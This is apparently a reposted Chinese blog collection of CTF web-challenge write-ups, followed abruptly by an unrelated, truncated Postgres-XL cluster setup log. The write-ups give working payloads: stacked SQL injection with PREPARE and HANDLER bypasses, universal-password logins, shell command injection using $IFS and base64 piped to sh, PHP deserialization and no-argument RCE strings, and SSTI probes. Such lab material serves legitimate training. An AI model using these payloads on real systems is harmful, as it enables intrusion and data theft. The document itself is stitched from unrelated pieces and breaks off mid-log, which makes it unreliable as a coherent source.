src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 所以 最后就是 这样 ?file=hint.php?../../../../../../../../ffffllllaaaagggg 就得到了flag flag{acbbba26-c81b-4603-bcb7-25f78adeab18} [强网杯 2019]随便注 进入题目链接 1.输入:1' 查看注入类型 所以他的sql语句是单引号过滤 2.查看字段 (为2) 1' order by 2 3.显示回显 1' union select 1,2 相当于告诉了我们它的过滤 尝试用堆叠查询试试了 4.查库 1;show database(); 5.查表 1';show tables; 所以是有两个表 1919810931114514 words 6.查列 1';show columns from words; 表名words需要被 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里 用于 分割其他命令,表示此为(表名、字段名) 1';show columns from 1919810931114514; 看到flag了!!! 那么如何查询到数据呢? select 函数被过滤了,其实mysql的函数有很多 这里通过 MYSQL的预处理语句,使用 : concat('s','elect',' from 1919810931114514') 完成绕过 构造pyload: 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字,字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说,没有回显,联合查询基本没戏。 好在页面会进行相应的变化,证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回,一种是空白,一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母(除过滤的关键词外)都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符,不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接,但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候,mysql也可以把 || 作为字符串拼接。 修改完后,|| 就会被认为是字符串拼接符 MySQL中sql_mode参数,具体的看这里 解题思路1: payload:,1 查询语句:select ,1||flag from Flag 解题思路2: 堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析: 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入:1’ 为'闭合 2.看字段:1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ,太像了,增加了过滤规则。 修改表名和set均不可用,所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据,也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了:cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
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...ostgres用户,修改其环境变量,开始编辑 [root@gtm ~]su - postgres[postgres@gtm ~]vi .bashrc --不是.bash_profile 在打开的文件末尾,新增如下变量配置: export PGHOME=/home/postgres/pgxlexport LD_LIBRARY_PATH=$PGHOME/lib:$LD_LIBRARY_PATHexport PATH=$PGHOME/bin:$PATH 按住esc,然后输入:wq!保存退出。输入以下命令对更改重启生效。 [postgres@gtm ~] source .bashrc --不是.bash_profile 输入以下语句,如果输出变量结果,代表生效 [postgres@gtm ~] echo $PGHOME 应该输出/home/postgres/pgxl代表生效 配置集群 生成pgxc_ctl.conf配置文件 [postgres@gtm ~] pgxc_ctl prepare/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.ERROR: File "/home/postgres/pgxl/pgxc_ctl/pgxc_ctl.conf" not found or not a regular file. No such file or directoryInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxl/pgxc_ctl --configuration /home/postgres/pgxl/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxl/pgxc_ctl 配置pgxc_ctl.conf 新建/home/postgres/pgxc_ctl/pgxc_ctl.conf文件,编辑如下: 对着模板文件一个一个修改,否则会造成初始化过程出现各种神奇问题。 pgxcInstallDir=$PGHOMEpgxlDATA=$PGHOME/data pgxcOwner=postgres---- GTM Master -----------------------------------------gtmName=gtmgtmMasterServer=gtmgtmMasterPort=6666gtmMasterDir=$pgxlDATA/nodes/gtmgtmSlave=y Specify y if you configure GTM Slave. Otherwise, GTM slave will not be configured and all the following variables will be reset.gtmSlaveName=gtmSlavegtmSlaveServer=gtm value none means GTM slave is not available. Give none if you don't configure GTM Slave.gtmSlavePort=20001 Not used if you don't configure GTM slave.gtmSlaveDir=$pgxlDATA/nodes/gtmSlave Not used if you don't configure GTM slave.---- GTM-Proxy Master -------gtmProxyDir=$pgxlDATA/nodes/gtm_proxygtmProxy=y gtmProxyNames=(gtm_pxy1 gtm_pxy2) gtmProxyServers=(xl1 xl2) gtmProxyPorts=(6666 6666) gtmProxyDirs=($gtmProxyDir $gtmProxyDir) ---- Coordinators ---------coordMasterDir=$pgxlDATA/nodes/coordcoordNames=(coord1 coord2) coordPorts=(5432 5432) poolerPorts=(6667 6667) coordPgHbaEntries=(0.0.0.0/0)coordMasterServers=(xl1 xl2) coordMasterDirs=($coordMasterDir $coordMasterDir)coordMaxWALsernder=0 没设置备份节点,设置为0coordMaxWALSenders=($coordMaxWALsernder $coordMaxWALsernder) 数量保持和coordMasterServers一致coordSlave=n---- Datanodes ----------datanodeMasterDir=$pgxlDATA/nodes/dn_masterprimaryDatanode=xl1 主数据节点datanodeNames=(node1 node2)datanodePorts=(5433 5433) datanodePoolerPorts=(6668 6668) datanodePgHbaEntries=(0.0.0.0/0)datanodeMasterServers=(xl1 xl2)datanodeMasterDirs=($datanodeMasterDir $datanodeMasterDir)datanodeMaxWalSender=4datanodeMaxWALSenders=($datanodeMaxWalSender $datanodeMaxWalSender) 集群初始化,启动,停止 初始化 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all 输出结果: /bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existpg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord2" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ echo $PGHOME/home/postgres/pgxl[postgres@gtm ~]$ ll /home/postgres/pgxl/pgxc/nodes/gtm/gtm.^C[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.ERROR: target coordinator master coord1 is running now. Skip initilialization.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1ERROR: target coordinator master coord1 is already running now. Skip initialization.Starting coordinator master coord22019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv6 address "::", port 54322019-05-30 21:09:25.563 EDT [2148] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:09:25.601 EDT [2149] LOG: database system was shut down at 2019-05-30 21:09:22 EDT2019-05-30 21:09:25.605 EDT [2148] LOG: database system is ready to accept connections2019-05-30 21:09:25.612 EDT [2156] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.WARNING: datanode master datanode1 is running now. Skipping.Starting datanode master datanode2.2019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv6 address "::", port 154322019-05-30 21:09:33.355 EDT [2404] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:09:33.392 EDT [2404] LOG: redirecting log output to logging collector process2019-05-30 21:09:33.392 EDT [2404] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC stop coordinator master coord1Stopping coordinator master coord1.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.PGXC stop datanode master datanode1Stopping datanode master datanode1.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.PGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC monitor allNot running: gtm masterNot running: coordinator master coord1Not running: coordinator master coord2Not running: datanode master datanode1Not running: datanode master datanode2PGXC exit[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... 